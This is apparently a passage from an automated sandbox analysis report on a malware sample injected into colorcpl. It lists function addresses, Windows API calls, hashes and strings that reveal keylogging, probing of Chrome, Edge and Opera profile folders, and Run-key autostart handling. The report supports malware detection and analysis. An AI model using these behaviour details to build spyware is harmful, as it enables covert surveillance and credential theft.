                                                                                    • Instruction Fuzzy Hash: 5821267DE802905BD705F77CD82872A7B9DA795304F40090CEC85C32C9DB295658CBE3
                                                                                    Function 028559F9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65libraryloaderCOMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetProcAddress.KERNEL32(00000000,?), ref: 02855A59
                                                                                    • __crt_fast_encode_pointer.LIBVCRUNTIME ref: 02855A66
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: AddressProc__crt_fast_encode_pointer
                                                                                    • String ID: \y+/
                                                                                    • API String ID: 2279764990-1501633358
                                                                                    • Opcode ID: 1c5dd3168ea7f72d89a73e7f4ede9f63ebe892f832718e4ef92a63e494ba644d
                                                                                    • Instruction ID: 82ecdb886901972ea385d580fbe913553c59f61baffa8c4f98b74769cdec8a19
                                                                                    • Opcode Fuzzy Hash: 1c5dd3168ea7f72d89a73e7f4ede9f63ebe892f832718e4ef92a63e494ba644d
                                                                                    • Instruction Fuzzy Hash: D0110D3FA00135DB9F23DD2CE8C496A73A6AB846647464610FD19EB284D734EC2986D0
                                                                                    Function 028508E7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 63COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: _abort
                                                                                    • String ID: \y+$\y+/
                                                                                    • API String ID: 1888311480-1129128558
                                                                                    • Opcode ID: 0b5578353f66499f331295a8f1607a7cd3c9208fcd156a906950f70e23e031f4
                                                                                    • Instruction ID: 989ee04d84ce73cc2ea8990b1e19fb5284fc73956c6dd1b458a3c1d40a3d41df
                                                                                    • Opcode Fuzzy Hash: 0b5578353f66499f331295a8f1607a7cd3c9208fcd156a906950f70e23e031f4
                                                                                    • Instruction Fuzzy Hash: 3411363EA407289BDB25AF78E809B5D7792AB00B60F148419FD18DF2C4DF70DC108B82
                                                                                    Function 028294DA Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59timeCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetLocalTime.KERNEL32(00000000), ref: 028294F4
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: LocalTime
                                                                                    • String ID: | $%02i:%02i:%02i:%03i
                                                                                    • API String ID: 481472006-2430845779
                                                                                    • Opcode ID: 319fa28971616e4af4d4a05bb940586f714c59b8a8f02352b0ec1ac17a32ee69
                                                                                    • Instruction ID: d9e8e49ad26a25a7300b582f0ec283e0ed450cee47f7a9a649e38cebb094e083
                                                                                    • Opcode Fuzzy Hash: 319fa28971616e4af4d4a05bb940586f714c59b8a8f02352b0ec1ac17a32ee69
                                                                                    • Instruction Fuzzy Hash: 2F11637D6042445AC304FBA8D8548EFB3EDAB94700F500A1DF599C25D4EF38DA49CB57
                                                                                    Function 02819F9A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                      • Part of subcall function 0281A0B0: GetLocalTime.KERNEL32(?,?,00000000), ref: 0281A0BE
                                                                                      • Part of subcall function 0281A0B0: wsprintfW.USER32 ref: 0281A13F
                                                                                      • Part of subcall function 028294DA: GetLocalTime.KERNEL32(00000000), ref: 028294F4
                                                                                    • CloseHandle.KERNEL32(?), ref: 02819FFD
                                                                                    • UnhookWindowsHookEx.USER32 ref: 0281A010
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: LocalTime$CloseHandleHookUnhookWindowswsprintf
                                                                                    • String ID: Online Keylogger Stopped
                                                                                    • API String ID: 1623830855-1496645233
                                                                                    • Opcode ID: 4b5faa0fb55e1cd55ffecfe3d8549a79db7a6d580f12a8ade6a388a2fde6422b
                                                                                    • Instruction ID: b3c3845d72eb98147890aa2b82772d76b17004e1ffa1361e70f467b5b963c7bc
                                                                                    • Opcode Fuzzy Hash: 4b5faa0fb55e1cd55ffecfe3d8549a79db7a6d580f12a8ade6a388a2fde6422b
                                                                                    • Instruction Fuzzy Hash: 8A01243CA00220DBE7297B2CC80A7BE7BBE8B56214F440A4DC985C25C5EBA5545ADBD7
                                                                                    Function 028560E2 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,80E85006,00000001,?,0284CC5A), ref: 02856153
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: String
                                                                                    • String ID: LCMapStringEx$\y+/
                                                                                    • API String ID: 2568140703-3553819041
                                                                                    • Opcode ID: 3a65d15d68297a7459b955e3100c0713e9e8a5748e44db791eaca888a649fd31
                                                                                    • Instruction ID: 69124760b5e3fc5160d5a734da5eee6269dbc67ad367871a48aa5f40cce60a8d
                                                                                    • Opcode Fuzzy Hash: 3a65d15d68297a7459b955e3100c0713e9e8a5748e44db791eaca888a649fd31
                                                                                    • Instruction Fuzzy Hash: 0801173A98012DBBDF025F94DC09DAE7F66EF18720F404515FE15A5260DA368931AB91
                                                                                    Function 02855EDC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 39timeCOMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetTimeFormatW.KERNEL32(00000000,?,00000000,?,00000000,?,?,?,00000000,?,?,00000000,02854FF8,?,00000000,02811D35), ref: 02855F35
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: FormatTime
                                                                                    • String ID: GetTimeFormatEx$\y+/
                                                                                    • API String ID: 3606616251-3510245081
                                                                                    • Opcode ID: 8727644b1776f826c8adc67bbebfb2977c75ddde7076b2c41803100dcbdfbd75
                                                                                    • Instruction ID: f3bb3f7a0bd1398537fa047973a0b3057fb510e6b6ec23c2a814347c378e96ba
                                                                                    • Opcode Fuzzy Hash: 8727644b1776f826c8adc67bbebfb2977c75ddde7076b2c41803100dcbdfbd75
                                                                                    • Instruction Fuzzy Hash: 03F0623DA4022CFBDF026F54DC09EAE7F66EF18710F408455FC0696251DA7A89209B91
                                                                                    Function 02855F4C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetUserDefaultLCID.KERNEL32(?,?,00000000), ref: 02855F96
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: DefaultUser
                                                                                    • String ID: GetUserDefaultLocaleName$\y+/
                                                                                    • API String ID: 3358694519-2078387853
                                                                                    • Opcode ID: 0f9a5ff33625982b13a1a4796e064f961edcb5db62089635a34c429a8740d479
                                                                                    • Instruction ID: ada220d5a96c9c169c179dcca707e471be281e929a4d28ce5a890491e2a08b69
                                                                                    • Opcode Fuzzy Hash: 0f9a5ff33625982b13a1a4796e064f961edcb5db62089635a34c429a8740d479
                                                                                    • Instruction Fuzzy Hash: 71F0243CA8022CBBDB016F55DC0DEAE7F66DF14B20F808016FD05AA250DA7A4D20CB81
                                                                                    Function 02856015 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • IsValidLocale.KERNEL32(00000000,02851FFC,00000000,00000001,?,?,02851FFC,?,?,028519DC,?,00000004), ref: 02856061
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: LocaleValid
                                                                                    • String ID: IsValidLocaleName$\y+/
                                                                                    • API String ID: 1901932003-393732131
                                                                                    • Opcode ID: f0e718dfeb7f8ca9b4ecd60b3b555d45451f0441ef95280db6661e8ed1e8d3d9
                                                                                    • Instruction ID: 29190f8774b702fa59a4ff29b79a2dee055a6ac3e9d5bbb20a880e8827e60fcb
                                                                                    • Opcode Fuzzy Hash: f0e718dfeb7f8ca9b4ecd60b3b555d45451f0441ef95280db6661e8ed1e8d3d9
                                                                                    • Instruction Fuzzy Hash: CAF0E93CE81378B7EB11AB64AC0DF7D7B59DF24711F400156FD06EA280EE7959108685
                                                                                    Function 0281B4CA Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • PathFileExistsW.SHLWAPI(00000000,\Opera Software\Opera Stable\,00000000,?,?,?,?,?,?,0281B604,?), ref: 0281B4FD
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ExistsFilePath
                                                                                    • String ID: AppData$\Opera Software\Opera Stable\
                                                                                    • API String ID: 1174141254-1629609700
                                                                                    • Opcode ID: 79c063cd28a3dd13547ea85fa783d290d9bf5489e07e051da9e1bdb1c7b4c37d
                                                                                    • Instruction ID: 087dc3cda28ba10202eac24e27a948ba26a3670a1f3e874c54136d99e3be78f9
                                                                                    • Opcode Fuzzy Hash: 79c063cd28a3dd13547ea85fa783d290d9bf5489e07e051da9e1bdb1c7b4c37d
                                                                                    • Instruction Fuzzy Hash: CCF0823DD4121957DB04FBE8C907CFF7B6D9911B10B000155D606E22D1EEA599458AE2
                                                                                    Function 0281B404 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • PathFileExistsW.SHLWAPI(00000000,\AppData\Local\Google\Chrome\,00000000,?,?,?,?,?,?,0281B53E,?), ref: 0281B437
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ExistsFilePath
                                                                                    • String ID: UserProfile$\AppData\Local\Google\Chrome\
                                                                                    • API String ID: 1174141254-4188645398
                                                                                    • Opcode ID: c16e958d24eaa27ddeedfe80085e86db05d113976bac9dd9b05586bd438aa4ad
                                                                                    • Instruction ID: accf73360a4de09d7ad6874124436ab66895d36876d588a7c38ddc1241fa1b09
                                                                                    • Opcode Fuzzy Hash: c16e958d24eaa27ddeedfe80085e86db05d113976bac9dd9b05586bd438aa4ad
                                                                                    • Instruction Fuzzy Hash: D5F0273C941219979B04FBE8CC0BCFFBB2D8D21720B000056AA07E22C0EEA49845CEE3
                                                                                    Function 0281B467 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • PathFileExistsW.SHLWAPI(00000000,\AppData\Local\Microsoft\Edge\,00000000,?,?,?,?,?,?,0281B5A1,?), ref: 0281B49A
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ExistsFilePath
                                                                                    • String ID: UserProfile$\AppData\Local\Microsoft\Edge\
                                                                                    • API String ID: 1174141254-2800177040
                                                                                    • Opcode ID: a8d8ed0c74727cab4677420cd3c86599c99e0faeefd7a05e8dcb8bebb1317d7a
                                                                                    • Instruction ID: 6ef1c173402635f2d4c902be24d4518dd9f4d05370b710cf0322810047fd8082
                                                                                    • Opcode Fuzzy Hash: a8d8ed0c74727cab4677420cd3c86599c99e0faeefd7a05e8dcb8bebb1317d7a
                                                                                    • Instruction Fuzzy Hash: A7F0823C901219579B14F7E8CD1BCFFBB6D9911710B004555DA06E22C1EEA59845CAE3
                                                                                    Function 02855FB3 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,0287B860,0285D512,0287B860,0000001C,02862E0B,?,FF8BC35D,00000000,?,?,?,028627E7,00000000,?,FF8BC35D), ref: 02855FFE
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CountCriticalInitializeSectionSpin
                                                                                    • String ID: InitializeCriticalSectionEx$\y+/
                                                                                    • API String ID: 2593887523-3595816424
                                                                                    • Opcode ID: d12cf390afa301234a5358559c687f46f31c058748ae7b5d1a53ef87efc4e2ee
                                                                                    • Instruction ID: e5811f8b2f243efa8210c7e6d7eafe6bde4b975583cdfc3c8d2123f86a0eb1bc
                                                                                    • Opcode Fuzzy Hash: d12cf390afa301234a5358559c687f46f31c058748ae7b5d1a53ef87efc4e2ee
                                                                                    • Instruction Fuzzy Hash: C2F0593CA8122CFBDF015F55DC0CDAD7F65EF14720B404115FD099A250DE354920DB80
                                                                                    Function 0281A592 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 32keyboardCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetKeyState.USER32(00000011), ref: 0281A597
                                                                                      • Part of subcall function 02819468: GetForegroundWindow.USER32(02882008,?,02882008), ref: 0281949C
                                                                                      • Part of subcall function 02819468: GetWindowThreadProcessId.USER32(00000000,?), ref: 028194A7
                                                                                      • Part of subcall function 02819468: GetKeyboardLayout.USER32(00000000), ref: 028194AE
                                                                                      • Part of subcall function 02819468: GetKeyState.USER32(00000010), ref: 028194B8
                                                                                      • Part of subcall function 02819468: GetKeyboardState.USER32(?), ref: 028194C5
                                                                                      • Part of subcall function 02819468: ToUnicodeEx.USER32(?,?,?,?,00000010,00000000,00000000), ref: 028194E1
                                                                                      • Part of subcall function 0281962E: SetEvent.KERNEL32(?,?,?,0281A77B,?,?,?,?,?,00000000), ref: 0281965A
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: State$KeyboardWindow$EventForegroundLayoutProcessThreadUnicode
                                                                                    • String ID: [AltL]$[AltR]
                                                                                    • API String ID: 3195419117-2658077756
                                                                                    • Opcode ID: 79efb2fca14729804c7582c47381f343cd535163e7bbe607921ba30aa9ce0585
                                                                                    • Instruction ID: 440a92bdfe9c64a3520376f19696e603211da0b98360d9b2baea8510c16c5ce5
                                                                                    • Opcode Fuzzy Hash: 79efb2fca14729804c7582c47381f343cd535163e7bbe607921ba30aa9ce0585
                                                                                    • Instruction Fuzzy Hash: 05E02B3D30813017D82C367CA93A5FC7E1E8B41660F80014CE886CB2C9DD598900D7D7
                                                                                    Function 02855E86 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30timeCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetSystemTimeAsFileTime.KERNEL32(00000000,02848857), ref: 02855EC5
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Time$FileSystem
                                                                                    • String ID: GetSystemTimePreciseAsFileTime$\y+/
                                                                                    • API String ID: 2086374402-2817616293
                                                                                    • Opcode ID: 4120922d2bf2d328749f19cbf88856ad9f04bfe651bc5971aded7f1fad3cb7fe
                                                                                    • Instruction ID: 62b15818a482957c99405dcc2cd5b378c23e06bc3a6a5825f469d94a68ad71c4
                                                                                    • Opcode Fuzzy Hash: 4120922d2bf2d328749f19cbf88856ad9f04bfe651bc5971aded7f1fad3cb7fe
                                                                                    • Instruction Fuzzy Hash: EFE0E53DF81228A7E710AF69AC4DD3EBB58DF24B10B40416AFC06D7340DE799D108ADA
                                                                                    Function 0281A5EC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24keyboardCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetKeyState.USER32(00000012), ref: 0281A5F1
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: State
                                                                                    • String ID: [CtrlL]$[CtrlR]
                                                                                    • API String ID: 1649606143-2446555240
                                                                                    • Opcode ID: 7b920bc5f42a7c4f5ec97867ce836df3710eb74add42d8d1b23b1679f43820e1
                                                                                    • Instruction ID: 7d5ff93edf4712b5584bc4a4e071e5c836c02944ca66b2115656297557e502d7
                                                                                    • Opcode Fuzzy Hash: 7b920bc5f42a7c4f5ec97867ce836df3710eb74add42d8d1b23b1679f43820e1
                                                                                    • Instruction Fuzzy Hash: 21E0263D7042221AD418357D951A6282A1D8B411A8F050148E88BC73C7D94AC40182D3
                                                                                    Function 02822414 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 23registryCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • RegOpenKeyExW.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\,00000000,00000002,028821E8,80000002,80000002,0281BD02,00000000,?,02882200,pth_unenc,028821E8), ref: 02822422
                                                                                    • RegDeleteValueW.ADVAPI32(028821E8,?,?,02882200,pth_unenc,028821E8), ref: 02822436
                                                                                    Strings
                                                                                    • Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\, xrefs: 02822420
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: DeleteOpenValue
                                                                                    • String ID: Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\
                                                                                    • API String ID: 2654517830-1051519024
                                                                                    • Opcode ID: 8ebdf97b37ef1e9484adfc2b2bcf04c24c068ca366a2ce14ed10fad024d06983
                                                                                    • Instruction ID: 5791dbd613a83fc5925381340f6f885ea3ff9fb1f5d3ab0b780b902ea86d1262
                                                                                    • Opcode Fuzzy Hash: 8ebdf97b37ef1e9484adfc2b2bcf04c24c068ca366a2ce14ed10fad024d06983
                                                                                    • Instruction Fuzzy Hash: D5E0C239A8421CBBDF108F71DD0BFBA3B2CDB01B00F1086A4BE05E2080D6269A289661
                                                                                    Function 0284B445 Relevance: 5.1, APIs: 4, Instructions: 139COMMONLIBRARYCODE
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • MultiByteToWideChar.KERNEL32(?,00000009,?,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000,02811D35), ref: 0284B4DB
                                                                                    • GetLastError.KERNEL32 ref: 0284B4E9
                                                                                    • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 0284B544
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ByteCharMultiWide$ErrorLast
                                                                                    • String ID:
                                                                                    • API String ID: 1717984340-0
                                                                                    • Opcode ID: 83dcd2e5a3c03fee7de84054de5f8272b9ca856a924f3fe9b36378f175aa3881
                                                                                    • Instruction ID: 565d73ad17af5dd4db538f2a5b0e37343d26fa26f910c2230d2a96647fbd8f05
                                                                                    • Opcode Fuzzy Hash: 83dcd2e5a3c03fee7de84054de5f8272b9ca856a924f3fe9b36378f175aa3881
                                                                                    • Instruction Fuzzy Hash: 4141E83CE0025DAFDF258F68D844B6ABBA5AF0531CF164159E859EB2A0DF30D901CB51
                                                                                    Function 028205C4 Relevance: 5.1, APIs: 4, Instructions: 119COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • IsBadReadPtr.KERNEL32(?,00000014), ref: 028205F1
                                                                                    • IsBadReadPtr.KERNEL32(?,00000014), ref: 028206BD
                                                                                    • SetLastError.KERNEL32(0000007F,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 028206DF
                                                                                    • SetLastError.KERNEL32(0000007E,02820955), ref: 028206F6
                                                                                    Memory Dump Source
                                                                                    • Source File: 0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmp, Offset: 02810000, based on PE: true
                                                                                    • Associated: 0000000A.00000002.4469714299.0000000002885000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_10_2_2810000_colorcpl.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ErrorLastRead
                                                                                    • String ID:
                                                                                    • API String ID: 4100373531-0
                                                                                    • Opcode ID: 19f70a5c28ab17427afeec99aa61d34ed4ad63b88d64e1f0c8d58d2984daee7a
                                                                                    • Instruction ID: f488a0ce7f34eda74de7d19317204d6e8ef8593670c4f4977461a352edddb5b2
                                                                                    • Opcode Fuzzy Hash: 19f70a5c28ab17427afeec99aa61d34ed4ad63b88d64e1f0c8d58d2984daee7a
                                                                                    • Instruction Fuzzy Hash: 23419179644325DFE7208F58DC88B26B7E9FF94718F00042DE54AC7692EB71E858CB11